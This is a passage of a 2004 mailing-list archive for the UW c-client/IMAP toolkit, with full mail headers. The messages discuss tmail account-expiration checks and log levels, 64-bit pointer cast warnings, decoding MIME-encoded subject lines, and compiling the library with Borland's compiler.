ESMTP id i8OEahhV017557 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 24 Sep 2004 07:36:43 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8OEZnpR017212; Fri, 24 Sep 2004 07:35:50 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OEYEOQ114386 for ; Fri, 24 Sep 2004 07:34:14 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8OEYEF3008101 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 24 Sep 2004 07:34:14 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OEYDgc026828; Fri, 24 Sep 2004 07:34:14 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OEYDAh011169; Fri, 24 Sep 2004 07:34:13 -0700 Message-Id: Date: Fri, 24 Sep 2004 07:34:13 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Frode Nordahl Cc: c-client@u.washington.edu Subject: Re: tmail and account verification In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 24 Sep 2004, Frode Nordahl wrote: > I'd like tmail to check if a account is expired before attempting to deliver > mail to it. tmail does not currently do this. I feel that the harm to a site which does not want it done is too great, so I don't think that I will make this change. Account expiration is generally a point at which user access to an account is shut off, and is not necessary the same as account termination. Since you have tmail sources, you are welcome to make the change in your own copy of tmail. > Is it really necessary for tmail to make such verbose logs under normal > operation? :-) The level of tmail logging is controlled by the syslog configuration file for the LOG_MAIL facility. Most of the tmail "babble" type messages are at LOG_INFO level (which is also the level at which sendmail "babbles"), with warnings and errors at LOG_WARNING or LOG_ERR. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Sep 24 07:56:28 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 24 Sep 2004 07:56:28 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OEuS4F020798 for ; Fri, 24 Sep 2004 07:56:28 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OEuRLq022492 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 24 Sep 2004 07:56:27 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8OEteAJ010774; Fri, 24 Sep 2004 07:55:40 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OEsSHM029396 for ; Fri, 24 Sep 2004 07:54:28 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8OEsRvd029343 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Fri, 24 Sep 2004 07:54:27 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OEsRnh018449 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 24 Sep 2004 07:54:27 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OEsQVA024597; Fri, 24 Sep 2004 07:54:26 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OEsQqm012319; Fri, 24 Sep 2004 07:54:26 -0700 Message-Id: Date: Fri, 24 Sep 2004 07:54:26 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Chris Ross Cc: c-client Interest List Subject: Re: 64-bit problems with c-client imap2004a In-Reply-To: <41541155.2050801@fullmesh.net> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 24 Sep 2004, Chris Ross wrote: > Okay. I can see that point. But, when K&R was written, > there was much less variety in hardware implementations and > type-sizes. At least, that's my belief. It is, sadly, a > bit before my day. Historically, there was much more variety in hardware implementations and type sizes than today. 16-bit ints were common, as were machines that weren't byte-addressed (e.g. machines addressed by 36-bit word). The current 64-bit problems are nothing compared to the problems in getting software to work with both 16-bit and 32-bit ints. > IMHO, I think it's not unwise to warn about casting a > 64-bit pointer value into a 32-bit value. But, you may > be right that this is just because programmers too oft tend > to assume "pointers are 32-bits", at least in the last 10 years. The whole point is that when there is an explicit cast, as opposed to an implicit cast, the compiler should accept that the programmer knows what he is doing. Otherwise, there is no need for explicit casts. > Yup. I hope to take a look at this today. Great! Thanks. > What's the approximate timeline for bundling and releasing 2004b? > (Which I'll then need to get updated in the NetBSD pkgsrc tree) imap-2004b will be released concurrently with Pine 4.62. I don't think that the Pine release is imminent, barring some newly-discovered critical bug. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Sep 24 10:09:19 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 24 Sep 2004 10:09:19 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OH9JNF026156 for ; Fri, 24 Sep 2004 10:09:19 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OH9Ihd026881 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 24 Sep 2004 10:09:19 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8OH6WdB013412; Fri, 24 Sep 2004 10:06:32 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OH5PCb018054 for ; Fri, 24 Sep 2004 10:05:25 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8OH5OJZ018181 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Fri, 24 Sep 2004 10:05:25 -0700 Received: from mxfep01.bredband.com (mxfep01.bredband.com [195.54.107.70]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OH5NfE027585 for ; Fri, 24 Sep 2004 10:05:23 -0700 Received: from [192.168.1.167] ([213.115.49.47] [213.115.49.47]) by mxfep01.bredband.com with ESMTP id <20040924170522.BKOF19800.mxfep01.bredband.com@[192.168.1.167]> for ; Fri, 24 Sep 2004 19:05:22 +0200 Message-Id: <415453C4.3060000@i3micro.com> Date: Fri, 24 Sep 2004 19:05:08 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Niklas Fondberg To: c-client Interest List Subject: decode question In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, a silly question perhaps: I looked at the API but couldn't find a general purpose Subject : header decoder for subject lines like: =?ISO-8859-1?Q?=C5=C4=D6_test?= which is ÅÄÖ test and =?ISO-8859-2?B?[d]SB1bmRlcnN0YW5kIHRoZSBleGFtcGxlLg==?= which I can't remember now. I was reluctant to ask so I wrote my own BUT now I'm eager to know if there is one already? /Niklas Fondberg -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Sep 24 10:10:49 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 24 Sep 2004 10:10:49 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OHAncA026243 for ; Fri, 24 Sep 2004 10:10:49 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OHAnug026984 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 24 Sep 2004 10:10:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8OH9wcM019472; Fri, 24 Sep 2004 10:09:58 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OH9BiB049854 for ; Fri, 24 Sep 2004 10:09:11 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8OH9AVI008063 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Fri, 24 Sep 2004 10:09:10 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OH9AiA026868 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 24 Sep 2004 10:09:10 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout4.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OH99dG007916; Fri, 24 Sep 2004 10:09:09 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OH99Ag020528; Fri, 24 Sep 2004 10:09:09 -0700 Message-Id: Date: Fri, 24 Sep 2004 10:09:09 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Niklas Fondberg Cc: c-client Interest List Subject: Re: decode question In-Reply-To: <415453C4.3060000@i3micro.com> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __ISO_2022_JP_DELIM 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 24 Sep 2004, Niklas Fondberg wrote: > I looked at the API but couldn't find a general purpose Subject : header > decoder for subject lines like: > =?ISO-8859-1?Q?=C5=C4=D6_test?= which is $BEDV(B test > and =?ISO-8859-2?B?[d]SB1bmRlcnN0YW5kIHRoZSBleGFtcGxlLg==?= which I can't > remember now. Routine utf8_mime2text() will convert a string with embedded quoted-words (such as the above) into UTF-8. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Sep 24 10:24:40 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 24 Sep 2004 10:24:40 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OHOeUc026892 for ; Fri, 24 Sep 2004 10:24:40 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OHOdC9027916 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 24 Sep 2004 10:24:39 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8OHNi4l016376; Fri, 24 Sep 2004 10:23:44 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OHMr9t114280 for ; Fri, 24 Sep 2004 10:22:53 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8OHMqd4022686 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Fri, 24 Sep 2004 10:22:52 -0700 Received: from mxfep02.bredband.com (mxfep02.bredband.com [195.54.107.73]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OHMok6027769; Fri, 24 Sep 2004 10:22:51 -0700 Received: from [192.168.1.167] ([213.115.49.47] [213.115.49.47]) by mxfep02.bredband.com with ESMTP id <20040924172249.FPAV19503.mxfep02.bredband.com@[192.168.1.167]>; Fri, 24 Sep 2004 19:22:49 +0200 Message-Id: <415457DB.1010303@i3micro.com> Date: Fri, 24 Sep 2004 19:22:35 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Niklas Fondberg To: Mark Crispin Cc: c-client Interest List Subject: Re: decode question In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __ISO_2022_JP_DELIM 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thank You! Mark Crispin wrote: > On Fri, 24 Sep 2004, Niklas Fondberg wrote: > >> I looked at the API but couldn't find a general purpose Subject : >> header decoder for subject lines like: >> =?ISO-8859-1?Q?=C5=C4=D6_test?= which is $BEDV(B test >> and =?ISO-8859-2?B?[d]SB1bmRlcnN0YW5kIHRoZSBleGFtcGxlLg==?= which I >> can't remember now. > > > Routine utf8_mime2text() will convert a string with embedded > quoted-words (such as the above) into UTF-8. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Sep 24 12:24:57 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 24 Sep 2004 12:24:57 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OJOvQw031622 for ; Fri, 24 Sep 2004 12:24:57 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OJOssh000897 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 24 Sep 2004 12:24:55 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8OJNpsB017648; Fri, 24 Sep 2004 12:23:51 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OJMK8c034502 for ; Fri, 24 Sep 2004 12:22:20 -0700 Received: from server07.icaen.uiowa.edu (server07.icaen.uiowa.edu [128.255.17.47]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8OJMJtm004734 for ; Fri, 24 Sep 2004 12:22:19 -0700 Received: from server11.icaen.uiowa.edu (server11.icaen.uiowa.edu [128.255.17.51]) by server07.icaen.uiowa.edu (8.12.9/8.12.9) with ESMTP id i8OJLmv8015609; sent by ; Fri, 24 Sep 2004 14:22:14 -0500 (CDT) Received: from d-is00.icaen.uiowa.edu (d-is00.icaen.uiowa.edu [128.255.17.30]) by server11.icaen.uiowa.edu (8.12.9/smtp-service-1.6) with ESMTP id i8OJEOjf024329; (envelope-from ) Fri, 24 Sep 2004 14:14:24 -0500 (CDT) Message-Id: Date: Fri, 24 Sep 2004 14:14:24 -0500 (CDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David B Funk To: c-client@u.washington.edu Cc: Frode Nordahl Subject: Re: tmail and account verification In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: clamd / ClamAV version 0.75, clamav-milter version 0.66n X-Virus-Scanned: clamd / ClamAV version 0.75, clamav-milter version 0.75 on clamav.icaen.uiowa.edu X-Virus-Status: Clean X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 24 Sep 2004, Mark Crispin wrote: > On Fri, 24 Sep 2004, Frode Nordahl wrote: > > I'd like tmail to check if a account is expired before attempting to deliver > > mail to it. > > tmail does not currently do this. I feel that the harm to a site which > does not want it done is too great, so I don't think that I will make this > change. > > Account expiration is generally a point at which user access to an account > is shut off, and is not necessary the same as account termination. Yes, that is exactly the point. If the user no longer has login rights no sense in storing mail they cannot read but you want to keep the account entry so any '.forward' file they may have will work. We have a rather "migratory" user base and so have a two phase removal policy (deactivate and then later delete). I agree that you would not want to make this behaivor the default but why not make it an additional command line option? > Since you have tmail sources, you are welcome to make the change in your > own copy of tmail. At our site we've already done this. ;) > > Is it really necessary for tmail to make such verbose logs under normal > > operation? :-) > > The level of tmail logging is controlled by the syslog configuration file > for the LOG_MAIL facility. Most of the tmail "babble" type messages are > at LOG_INFO level (which is also the level at which sendmail "babbles"), > with warnings and errors at LOG_WARNING or LOG_ERR. > > -- Mark -- If it's just "babble" why not make it "LOG_DEBUG"? We keep LOG_INFO mail entries for transaction records, use LOG_DEBUG for debugging/monitoring. I have two sets of syslog entries, '*.info' for transaction logging, '*.debug' for debugging/monitoring and have a cron job that trims the 'debug' logs. -- Dave Funk University of Iowa College of Engineering 319/335-5751 FAX: 319/384-0549 1256 Seamans Center Sys_admin/Postmaster/cell_admin Iowa City, IA 52242-1527 #include Better is not better, 'standard' is better. B{ From pinedev@shivax2.cac.washington.edu Fri Sep 24 15:05:34 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 24 Sep 2004 15:05:34 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OM5Yxl005677 for ; Fri, 24 Sep 2004 15:05:34 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OM5VIg012868 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 24 Sep 2004 15:05:32 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8OM4XNd012652; Fri, 24 Sep 2004 15:04:34 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OM3Hvg053260 for ; Fri, 24 Sep 2004 15:03:17 -0700 Received: from smtp1.powertech.no (smtp1.powertech.no [195.159.0.145]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8OM3FLP029032 for ; Fri, 24 Sep 2004 15:03:16 -0700 Received: from [192.168.1.35] (ti211110a080-2537.bb.online.no [80.212.201.233]) by smtp1.powertech.no (Postfix) with ESMTP id EA6518133; Sat, 25 Sep 2004 00:03:14 +0200 (CEST) Message-Id: <87AC8CEA-0E75-11D9-9DBA-000A95A9A574@nordahl.net> Date: Sat, 25 Sep 2004 00:03:13 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Frode Nordahl To: David B Funk Cc: c-client@u.washington.edu Subject: Re: tmail and account verification In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v619) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __MSGID_APPLEMAIL 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sep 24, 2004, at 21:14, David B Funk wrote: > I agree that you would not want to make this behaivor the default but > why > not make it an additional command line option? Or even a compile time option, since this will most likelly not be supported on all platforms. (I don't know which, but I'm sure there are platforms that does not have PAM nor concepts of account expiration) I'll have a go on this and provide some patches. For PAM users it will also have the nice effect of being able to put in added functionality through PAM (pam_mkhomedir springs to mind). I'm sure others might find some use for this, but it should of course be a optional feature. > If it's just "babble" why not make it "LOG_DEBUG"? We keep LOG_INFO > mail > entries for transaction records, use LOG_DEBUG for > debugging/monitoring. I'll second that. Most daemons on my system send such info to LOG_DEBUG. A single line to LOG_INFO stating that the mail was delivered, or a single line to LOG_WARNING / LOG_ERR, stating that it wasn't would suffice. Mvh, Frode Nordahl > -- > Dave Funk University of Iowa > College of Engineering > 319/335-5751 FAX: 319/384-0549 1256 Seamans Center > Sys_admin/Postmaster/cell_admin Iowa City, IA 52242-1527 > #include > Better is not better, 'standard' is better. B{ From pinedev@shivax2.cac.washington.edu Sat Sep 25 07:22:55 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 25 Sep 2004 07:22:55 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8PEMtq1032353 for ; Sat, 25 Sep 2004 07:22:55 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8PEMsT6001048 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 25 Sep 2004 07:22:54 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8PEM5CI010768; Sat, 25 Sep 2004 07:22:06 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8PEJaoZ020038 for ; Sat, 25 Sep 2004 07:19:36 -0700 Received: from fenke.xs4all.nl (fenke.xs4all.nl [80.126.3.188]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8PEJZ0v006368 for ; Sat, 25 Sep 2004 07:19:35 -0700 Received: from w2k (win2k.local [192.168.2.151]) by fenke.xs4all.nl (Postfix) with ESMTP id 7D04A16F for ; Sat, 25 Sep 2004 16:19:33 +0200 (CEST) Message-Id: Date: Sat, 25 Sep 2004 16:18:24 +0200 (W. Europe Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Frans Meijer To: c-client@u.washington.edu Subject: Windows NT/W2K, Borland compilation MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Questions about compiling the toolkit with Borland pop up once in a while, frequently enough to warrant a postion on the FAQ, so here is a report of an attempt to do so. It is not a difficult task, some changes to the makefiles and a few changes to some os dependant files, yunchan.h, env_nt.h, yunchan.c and env_nt.c. The biggest change is with the NT compatability functions, create_tempfile and close_file. Borland's compiler fell over the reference to _tmpfname. The functions create_tempfile and close_file apparently assume these to be a member of the FILE structure. Not in Borlands C-lib, but this one has a simple flag (istemp) which tells fclose() to unlink the file, after closing. This one does appear to remove the temporary file. It is still neccesary to keep the creat_tempfile workaround though, BC's tmpfile() will also create a file in the current working directory. If fiddling with the internals of the FILE structure is a bit awkward, a list with streams opened by create_tempfile could be maintained. Upon closing a stream, those listed could be removed (after closing). Compilation also failed on a define relating to the sleep function, removing the #define for sleep removed the problem, Borland has a sleep(seconds) function. getpid() is available, removed the define in env_nt.h. imap4r1.c has 'unreachable code at lines 3013-3039. Has nothing to do with the compiler, I think. random() is random(num) in BC-lib: #define random rand A number of standard C-lib symbols were referenced by their underscored name, such as _stricmp. I edited these to their regular names. Was there a specific reason to use these versions? Or was it just a name-mangling thing for the linker? Well, that is it, or most of it. Lots of warnings about 'suspicious pointer conversions', prototypes, that sort of stuff. But the library, mtest and mailutil compiled and seem to work as expected. I haven't touched the imapd and popd servers yet. Is there a more thorough 'testbed' for the c-client lib, the tools and the pop and imap daemons? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Sep 25 07:50:49 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 25 Sep 2004 07:50:49 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8PEonN7000512 for ; Sat, 25 Sep 2004 07:50:49 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8PEomiC029536 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 25 Sep 2004 07:50:48 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8PEogae011192; Sat, 25 Sep 2004 07:50:42 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP 